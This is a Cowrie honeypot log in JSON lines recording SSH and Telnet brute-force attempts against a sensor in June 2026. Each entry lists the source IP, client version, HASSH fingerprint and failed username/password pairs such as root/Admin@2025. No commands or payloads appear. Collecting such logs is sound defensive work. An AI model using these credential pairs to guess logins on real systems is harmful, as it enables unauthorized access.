{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:41:43.799892Z","src_ip":"217.168.240.63","session":"621fed46aa0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!@#QWE123qwe","message":"login attempt [ubuntu/!@#QWE123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:41:44.333433Z","src_ip":"217.168.240.63","session":"621fed46aa0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:41:45.461701Z","src_ip":"217.168.240.63","session":"621fed46aa0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":37230,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2ebfb89bcbb","protocol":"ssh","message":"New connection: 27.71.230.31:37230 (159.203.135.109:22) [session: e2ebfb89bcbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:42:17.470694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:42:18.372767Z","src_ip":"27.71.230.31","session":"e2ebfb89bcbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:42:19.201022Z","src_ip":"27.71.230.31","session":"e2ebfb89bcbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@2015","message":"login attempt [root/admin@2015] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:42:25.107892Z","src_ip":"27.71.230.31","session":"e2ebfb89bcbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:42:26.467504Z","src_ip":"27.71.230.31","session":"e2ebfb89bcbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":37060,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0843fa535ff","protocol":"ssh","message":"New connection: 217.168.240.63:37060 (159.203.135.109:22) [session: e0843fa535ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:43:20.043564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:43:20.050053Z","src_ip":"217.168.240.63","session":"e0843fa535ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:43:20.185160Z","src_ip":"217.168.240.63","session":"e0843fa535ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8128","message":"login attempt [root/8128] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:43:20.755201Z","src_ip":"217.168.240.63","session":"e0843fa535ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46816,"dst_ip":"159.203.135.109","dst_port":23,"session":"71725dd12da9","protocol":"telnet","message":"New connection: 128.199.8.54:46816 (159.203.135.109:23) [session: 71725dd12da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:43:21.033281Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:43:21.893996Z","src_ip":"217.168.240.63","session":"e0843fa535ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":54090,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c230b36aaba","protocol":"ssh","message":"New connection: 101.47.159.125:54090 (159.203.135.109:22) [session: 4c230b36aaba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:43:35.962553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:43:35.966179Z","src_ip":"101.47.159.125","session":"4c230b36aaba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:43:36.205235Z","src_ip":"101.47.159.125","session":"4c230b36aaba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:43:37.197857Z","src_ip":"101.47.159.125","session":"4c230b36aaba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:43:38.441100Z","src_ip":"101.47.159.125","session":"4c230b36aaba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":57806,"dst_ip":"159.203.135.109","dst_port":22,"session":"c711f3d4f7dc","protocol":"ssh","message":"New connection: 92.113.145.209:57806 (159.203.135.109:22) [session: c711f3d4f7dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:43:45.035339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:43:45.041752Z","src_ip":"92.113.145.209","session":"c711f3d4f7dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:43:45.165581Z","src_ip":"92.113.145.209","session":"c711f3d4f7dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"himanshu","password":"himanshu123","message":"login attempt [himanshu/himanshu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:43:45.691722Z","src_ip":"92.113.145.209","session":"c711f3d4f7dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:43:46.817087Z","src_ip":"92.113.145.209","session":"c711f3d4f7dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":33068,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f9f176795bb","protocol":"ssh","message":"New connection: 51.250.105.222:33068 (10.17.0.5:22) [session: 6f9f176795bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:43:49.408657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:43:49.412869Z","src_ip":"51.250.105.222","session":"6f9f176795bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:43:49.542866Z","src_ip":"51.250.105.222","session":"6f9f176795bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:43:49.934658Z","src_ip":"51.250.105.222","session":"6f9f176795bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:43:51.066827Z","src_ip":"51.250.105.222","session":"6f9f176795bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.984726905822754,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:44:10.017866Z","src_ip":"128.199.8.54","session":"71725dd12da9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":42288,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ddb320f1fc5","protocol":"ssh","message":"New connection: 87.251.79.125:42288 (159.203.135.109:22) [session: 6ddb320f1fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:44:15.213155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:44:15.217520Z","src_ip":"87.251.79.125","session":"6ddb320f1fc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:44:15.288376Z","src_ip":"87.251.79.125","session":"6ddb320f1fc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"michae","message":"login attempt [root/michae] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:44:15.497144Z","src_ip":"87.251.79.125","session":"6ddb320f1fc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:44:16.571474Z","src_ip":"87.251.79.125","session":"6ddb320f1fc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.145.242.127","src_port":41664,"dst_ip":"159.203.135.109","dst_port":22,"session":"04317cd8fb08","protocol":"ssh","message":"New connection: 118.145.242.127:41664 (159.203.135.109:22) [session: 04317cd8fb08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:44:34.173800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:44:34.178835Z","src_ip":"118.145.242.127","session":"04317cd8fb08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:44:34.420706Z","src_ip":"118.145.242.127","session":"04317cd8fb08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":46382,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d2791cd19c1","protocol":"telnet","message":"New connection: 107.6.151.170:46382 (159.203.135.109:23) [session: 8d2791cd19c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:44:38.573973Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":44568,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbd9ce2aae80","protocol":"telnet","message":"New connection: 107.6.151.170:44568 (159.203.135.109:23) [session: cbd9ce2aae80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:44:40.556300Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@2025","message":"login attempt [root/Admin@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:44:41.198364Z","src_ip":"118.145.242.127","session":"04317cd8fb08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:44:42.533763Z","src_ip":"118.145.242.127","session":"04317cd8fb08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":50226,"dst_ip":"159.203.135.109","dst_port":23,"session":"9424450412fe","protocol":"telnet","message":"New connection: 107.6.151.170:50226 (159.203.135.109:23) [session: 9424450412fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:44:54.756877Z"}
{"eventid":"cowrie.session.closed","duration":0.004426479339599609,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:44:54.761164Z","src_ip":"107.6.151.170","session":"9424450412fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":58536,"dst_ip":"159.203.135.109","dst_port":22,"session":"17ed0906022a","protocol":"ssh","message":"New connection: 217.168.240.63:58536 (159.203.135.109:22) [session: 17ed0906022a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:45:01.195260Z"}
